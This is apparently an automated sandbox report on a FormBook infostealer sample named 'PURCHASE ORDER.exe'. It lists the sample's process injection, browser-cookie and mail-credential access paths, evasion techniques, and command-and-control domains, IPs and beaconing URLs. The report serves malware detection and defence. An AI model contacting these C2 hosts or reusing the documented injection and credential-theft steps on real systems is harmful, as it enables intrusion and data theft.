            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtWriteVirtualMemory: Direct from: 0x76EF490CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtClose: Direct from: 0x76EF2B6C
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtSetInformationThread: Direct from: 0x76EF2B4CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtCreateKey: Direct from: 0x76EF2C6CJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeNtReadVirtualMemory: Direct from: 0x76EF2E8CJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\TapiUnattend.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: NULL target: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: NULL target: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\TapiUnattend.exeThread register set: target process: 7880Jump to behavior
            Writes to foreign memory regions
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 31D8008Jump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0043916A LogonUserW,0_2_0043916A
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_00436431
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PURCHASE ORDER.exe"Jump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeProcess created: C:\Windows\SysWOW64\TapiUnattend.exe "C:\Windows\SysWOW64\TapiUnattend.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00445DD3
            Source: mMtRNEqhUF.exe, 00000004.00000000.2370744757.0000000000E81000.00000002.00000001.00040000.00000000.sdmp, mMtRNEqhUF.exe, 00000004.00000002.3899008499.0000000000E81000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
            Source: PURCHASE ORDER.exe, mMtRNEqhUF.exe, 00000004.00000000.2370744757.0000000000E81000.00000002.00000001.00040000.00000000.sdmp, mMtRNEqhUF.exe, 00000004.00000002.3899008499.0000000000E81000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: mMtRNEqhUF.exe, 00000004.00000000.2370744757.0000000000E81000.00000002.00000001.00040000.00000000.sdmp, mMtRNEqhUF.exe, 00000004.00000002.3899008499.0000000000E81000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: PURCHASE ORDER.exeBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
            Source: mMtRNEqhUF.exe, 00000004.00000000.2370744757.0000000000E81000.00000002.00000001.00040000.00000000.sdmp, mMtRNEqhUF.exe, 00000004.00000002.3899008499.0000000000E81000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00410D10 cpuid 0_2_00410D10
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_004223BC
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004711D2 GetUserNameW,0_2_004711D2
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000005.00000002.3899118135.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2460425217.0000000003D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2464679240.0000000008EE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.3899555740.00000000025F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3899170467.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3897844833.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.3899320408.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2454242611.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\TapiUnattend.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
            Source: PURCHASE ORDER.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
            Source: PURCHASE ORDER.exeBinary or memory string: WIN_XP
            Source: PURCHASE ORDER.exeBinary or memory string: WIN_XPe
            Source: PURCHASE ORDER.exeBinary or memory string: WIN_VISTA
            Source: PURCHASE ORDER.exeBinary or memory string: WIN_7

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000005.00000002.3899118135.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2460425217.0000000003D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2464679240.0000000008EE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.3899555740.00000000025F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3899170467.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3897844833.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.3899320408.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2454242611.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_004741BB
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,0_2_0046483C
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0047AD92

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts            		1
            Native API            		1
            DLL Side-Loading            		1
            Exploitation for Privilege Escalation            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		1
            System Time Discovery            		Remote Services1
            Archive Collected Data            		4
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/Job2
            Valid Accounts            		1
            Abuse Elevation Control Mechanism            		1
            Deobfuscate/Decode Files or Information            		21
            Input Capture            		1
            Account Discovery            		Remote Desktop Protocol1
            Data from Local System            		1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		1
            Abuse Elevation Control Mechanism            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares1
            Email Collection            		4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
            Valid Accounts            		3
            Obfuscated Files or Information            		NTDS116
            System Information Discovery            		Distributed Component Object Model21
            Input Capture            		4
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
            Access Token Manipulation            		1
            DLL Side-Loading            		LSA Secrets241
            Security Software Discovery            		SSH3
            Clipboard Data            		Fallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts312
            Process Injection            		2
            Valid Accounts            		Cached Domain Credentials2
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
            Virtualization/Sandbox Evasion            		DCSync3
            Process Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
            Access Token Manipulation            		Proc Filesystem11
            Application Window Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt312
            Process Injection            		/etc/passwd and /etc/shadow1
            System Owner/User Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1524044 Sample: PURCHASE ORDER.exe Startdate: 02/10/2024 Architecture: WINDOWS Score: 100 31 www.whats-in-the-box.org 2->31 33 www.weatherbook.live 2->33 35 12 other IPs or domains 2->35 39 Malicious sample detected (through community Yara rule) 2->39 41 Multi AV Scanner detection for submitted file 2->41 43 Yara detected FormBook 2->43 45 5 other signatures 2->45 10 PURCHASE ORDER.exe 1 2->10         started        signatures3 process4 signatures5 55 Writes to foreign memory regions 10->55 57 Maps a DLL or memory area into another process 10->57 13 svchost.exe 10->13         started        process6 signatures7 59 Maps a DLL or memory area into another process 13->59 16 mMtRNEqhUF.exe 13->16 injected process8 dnsIp9 25 zhs.zohosites.com 136.143.186.12, 55600, 55601, 55602 ZOHO-ASUS United States 16->25 27 www.shanhaiguan.net 156.242.132.82, 55596, 55597, 55598 POWERLINE-AS-APPOWERLINEDATACENTERHK Seychelles 16->27 29 3 other IPs or domains 16->29 37 Found direct / indirect Syscall (likely to bypass EDR) 16->37 20 TapiUnattend.exe 13 16->20         started        signatures10 process11 signatures12 47 Tries to steal Mail credentials (via file / registry access) 20->47 49 Tries to harvest and steal browser information (history, passwords, etc) 20->49 51 Modifies the context of a thread in another process (thread injection) 20->51 53 2 other signatures 20->53 23 firefox.exe 20->23         started        process13

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            PURCHASE ORDER.exe34%ReversingLabs
            PURCHASE ORDER.exe100%Joe Sandbox ML

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
            https://duckduckgo.com/chrome_newtab0%URL Reputationsafe
            https://duckduckgo.com/ac/?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
            https://www.ecosia.org/newtab/0%URL Reputationsafe
            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            crowsecurity.cloud
            		3.33.130.190
            		truefalse
              		unknown
              inspireplay.live
              		3.33.130.190
              		truefalse
                		unknown
                zhs.zohosites.com
                		136.143.186.12
                		truefalse
                  		unknown
                  www.aaavvejibej.bond
                  		172.67.181.150
                  		truefalse
                    		unknown
                    weatherbook.live
                    		3.33.130.190
                    		truefalse
                      		unknown
                      www.selftip.top
                      		199.192.21.169
                      		truefalse
                        		unknown
                        whats-in-the-box.org
                        		3.33.130.190
                        		truefalse
                          		unknown
                          www.shanhaiguan.net
                          		156.242.132.82
                          		truefalse
                            		unknown
                            www.inspireplay.live
                            		unknown
                            		unknowntrue
                              		unknown
                              www.weatherbook.live
                              		unknown
                              		unknowntrue
                                		unknown
                                www.crowsecurity.cloud
                                		unknown
                                		unknowntrue
                                  		unknown
                                  www.whats-in-the-box.org
                                  		unknown
                                  		unknowntrue
                                    		unknown
                                    171.39.242.20.in-addr.arpa
                                    		unknown
                                    		unknowntrue
                                      		unknown
                                      www.lanxuanz.tech
                                      		unknown
                                      		unknowntrue
                                        		unknown

                                        Contacted URLs

                                        NameMaliciousAntivirus DetectionReputation
                                        http://www.crowsecurity.cloud/jvjp/false
                                          		unknown
                                          http://www.selftip.top/85su/?cvWdIt=+3B6fjGs9Z40sbhVvR4krjlQJIMiXt8F4isjbFYKdetJPWg+iKgIwujGEU5yKjzj4BkeFS8xvi4EjdbOtsLgDOfZNWyhFfht/6W034l9DUnQ7Tystood4rLNgn1SUoYWpA==&B0yh=QxoXDZdfalse
                                            		unknown
                                            http://www.selftip.top/85su/false
                                              		unknown
                                              http://www.weatherbook.live/4hiy/false
                                                		unknown
                                                http://www.inspireplay.live/p8sm/false
                                                  		unknown
                                                  http://www.whats-in-the-box.org/30jd/false
                                                    		unknown
                                                    http://www.shanhaiguan.net/p2q3/false
                                                      		unknown
                                                      http://www.lanxuanz.tech/ivo1/false
                                                        		unknown
                                                        http://www.aaavvejibej.bond/lpl9/?B0yh=QxoXDZd&cvWdIt=e8lWkFdpBI8fMqvo7AyVm0fpL9kk7cHQmYaHg/xvgOUuLw6B3kGtYYWM8/CK9QzH2IDr1kJuLXtu8i/nZF8LNOaL82kNnZvlFJYi74gKoV19uDxCQwtjMILqUMBFsIfV+w==false
                                                          		unknown
                                                          http://www.crowsecurity.cloud/jvjp/?cvWdIt=4b5MqvIelA8yeSWJd/RiTUHyH0EmcMdBTJ6STZ7OqVlET0aP4dQGxyJ8Yal1yomp/rzgkCoCCWVuqR9lxGRqE8prNCRKn3F85EuQNiaCrcWD/oorkYe/dSc+lX6wpjmjQw==&B0yh=QxoXDZdfalse
                                                            		unknown
                                                            http://www.inspireplay.live/p8sm/?cvWdIt=gudxXcfIjfM6RSgg73S9+XdIWXDCMwU0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjud+mzkPlPm9RYK75l27rAYJlLhafV6htmCUPEMRK+VCpk1A==&B0yh=QxoXDZdfalse
                                                              		unknown
                                                              http://www.lanxuanz.tech/ivo1/?cvWdIt=fL7FGqwZgFyeKETKnMvcF6/2X0xLn+ZD0XO9xnYIy5nXxzuHXVLl0+u5SqQtPDeu0FT/+Cn/ojl8jT3mUhnhvZd7UwgDvm6CV/Kdv2aRhtGTCKLAdrlbvWydzVsR1tMxiQ==&B0yh=QxoXDZdfalse
                                                                		unknown

                                                                URLs from Memory and Binaries

                                                                NameSourceMaliciousAntivirus DetectionReputation
                                                                https://ac.ecosia.org/autocomplete?q=TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                https://duckduckgo.com/chrome_newtabTapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                https://duckduckgo.com/ac/?q=TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchTapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                https://www.zoho.com/sites/images/professionally-crafted-themes.pngmMtRNEqhUF.exe, 00000004.00000002.3903920729.0000000006FD0000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.0000000004350000.00000004.10000000.00040000.00000000.sdmpfalse
                                                                  		unknown
                                                                  https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  • URL Reputation: safe
                                                                  		unknown
                                                                  http://www.selftip.topmMtRNEqhUF.exe, 00000004.00000002.3899320408.0000000002564000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                    		unknown
                                                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    https://contacts.zoho.com/static/file?t=org&ID=456089&fs=thumbmMtRNEqhUF.exe, 00000004.00000002.3903920729.0000000006FD0000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.0000000004350000.00000004.10000000.00040000.00000000.sdmpfalse
                                                                      		unknown
                                                                      https://www.ecosia.org/newtab/TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      • URL Reputation: safe
                                                                      		unknown
                                                                      https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=TapiUnattend.exe, 00000005.00000002.3901582182.0000000007928000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      • URL Reputation: safe
                                                                      		unknown
                                                                      https://www.zoho.com/sites/?src=parkeddomain&dr=www.lanxuanz.techmMtRNEqhUF.exe, 00000004.00000002.3903920729.0000000006FD0000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.0000000004350000.00000004.10000000.00040000.00000000.sdmpfalse
                                                                        		unknown

                                                                        World Map of Contacted IPs

                                                                        • No. of IPs < 25%
                                                                        • 25% < No. of IPs < 50%
                                                                        • 50% < No. of IPs < 75%
                                                                        • 75% < No. of IPs

                                                                        Public IPs

                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                        156.242.132.82
                                                                        		www.shanhaiguan.netSeychelles
                                                                        		132839POWERLINE-AS-APPOWERLINEDATACENTERHKfalse
                                                                        136.143.186.12
                                                                        		zhs.zohosites.comUnited States
                                                                        		2639ZOHO-ASUSfalse
                                                                        199.192.21.169
                                                                        		www.selftip.topUnited States
                                                                        		22612NAMECHEAP-NETUSfalse
                                                                        172.67.181.150
                                                                        		www.aaavvejibej.bondUnited States
                                                                        		13335CLOUDFLARENETUSfalse
                                                                        3.33.130.190
                                                                        		crowsecurity.cloudUnited States
                                                                        		8987AMAZONEXPANSIONGBfalse

                                                                        General Information

                                                                        Joe Sandbox version:41.0.0 Charoite
                                                                        Analysis ID:1524044
                                                                        Start date and time:2024-10-02 15:13:55 +02:00
                                                                        Joe Sandbox product:CloudBasic
                                                                        Overall analysis duration:0h 9m 21s
                                                                        Hypervisor based Inspection enabled:false
                                                                        Report type:full
                                                                        Cookbook file name:default.jbs
                                                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                        Run name:Run with higher sleep bypass
                                                                        Number of analysed new started processes analysed:7
                                                                        Number of new started drivers analysed:0
                                                                        Number of existing processes analysed:0
                                                                        Number of existing drivers analysed:0
                                                                        Number of injected processes analysed:1
                                                                        Technologies:
                                                                        • HCA enabled
                                                                        • EGA enabled
                                                                        • AMSI enabled
                                                                        Analysis Mode:default
                                                                        Analysis stop reason:Timeout
                                                                        Sample name:PURCHASE ORDER.exe
                                                                        Detection:MAL
                                                                        Classification:mal100.troj.spyw.evad.winEXE@7/2@9/5
                                                                        EGA Information:
                                                                        • Successful, ratio: 100%
                                                                        HCA Information:
                                                                        • Successful, ratio: 95%
                                                                        • Number of executed functions: 40
                                                                        • Number of non-executed functions: 312
                                                                        Cookbook Comments:
                                                                        • Found application associated with file extension: .exe
                                                                        • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                                                        Warnings

                                                                        • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
